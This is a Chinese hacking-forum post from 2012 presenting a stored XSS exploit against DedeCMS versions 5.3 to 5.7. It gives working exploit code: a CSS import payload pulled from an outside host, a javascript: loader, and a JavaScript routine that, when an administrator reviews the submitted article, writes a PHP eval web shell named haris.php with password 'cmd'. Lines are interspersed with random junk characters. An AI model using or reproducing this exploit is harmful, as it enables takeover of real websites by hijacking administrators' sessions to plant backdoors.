找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2003|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
" D4 H1 e) _5 L2 h$ w* V* q; c6 w% x为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
4 x. _# w, |! J- g! A, \) S目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。: X4 R8 C/ ~7 `- ^8 p; u
下面说说利用方法。
" \" e. E1 u& c条件有2个:8 `/ `4 W, O1 j' F- l# N
1.开启注册0 `" z, c" W, ?) w$ Z
2.开启投稿( \' c& e3 i% u% \& U
注册会员----发表文章
. M' o5 M% q# T5 O/ F+ o内容填写:2 `3 ]3 ^6 q- k8 D7 c5 n# y
复制代码
3 {* H- j: u) y8 O9 D& _7 X$ S9 F<style>@im\port'\http://xxx.com/xss.css';</style>
/ p9 N* R, V; B0 a& E新建XSS.Css
0 @- k: U6 J) x8 H8 K5 j/ i复制代码1 a/ f& |; ~: F3 h, \/ m, M) T( L
.body{- _1 p/ J3 }. Q. e; y0 q
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
2 L7 ]8 ~( P$ e5 s; }( N9 R新建xss.js 内容为
! v6 ^4 n# K& n& a复制代码" h# O2 |' D& y1 |; q
1.var request = false;* d. t  j. A6 e" k
2.if(window.XMLHttpRequest) {
2 e- \1 j, s$ n  U: k3.request = new XMLHttpRequest();
( Z. j' W1 H. E1 W! `4 v1 d4.if(request.overrideMimeType) {
$ |; z% d" }3 \6 |$ K5.request.overrideMimeType('text/xml');
! B+ @8 {7 P6 W6.}5 {* C+ t1 W: l  `. x( Q9 t$ s
7.} else if(window.ActiveXObject) {6 T4 s6 `! C4 K8 G2 p& t
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 y" @) y7 K7 b. u& J9.for(var i=0; i<versions.length; i++) {: [. q  V, [+ t8 W2 b( o* o% N, }
10.try {( G4 ^, `5 A2 p; u1 H' \9 P# e8 w
11.request = new ActiveXObject(versions);
, ~# j, D/ @3 k9 Q( h7 C* Z+ Z12.} catch(e) {}* Q$ V) e% h6 I+ t9 }
13.}
- r" q" E6 K, p- k14.}
( D- k( [5 V) ]' ~- F0 F' A4 |- i15.xmlhttp=request;
2 ?& G) A4 j: G0 c7 h5 O) q# J16.function getFolder( url ){
8 T# K7 k. \# D& x% \6 J17. obj = url.split('/')
" ?/ ^. k7 U, Y- ^2 Y! S/ h- L18. return obj[obj.length-2]8 U! {' Y" L# h5 \! i
19.}
+ r, T4 G3 @# W7 e; P- b7 ]20.oUrl = top.location.href;; N9 x- B) d3 u; E, d& _! p
21.u = getFolder(oUrl);
7 C* R3 O! ~2 M( n: @22.add_admin();1 N0 C! N& l) M  U- R( c
23.function add_admin(){
8 r( n( N  j+ W8 x' g% L  @24.var url= "/"+u+"/sys_sql_query.php";3 X  Y' {; @9 ^; U1 G
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
( P. E4 }( e7 p$ n1 T0 ]26.xmlhttp.open("POST", url, true);
. I. K) X" R! K27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
" z) _! v" g# e9 b( c- {$ d7 }28.xmlhttp.setRequestHeader("Content-length", params.length);
( y! ?$ E2 R7 N8 X' t29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
# u' P1 z7 {. c% Z30.xmlhttp.send(params);0 K5 H- a$ @5 M. j& H
31.}
* g; o7 N. U# d1 h* l  v当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表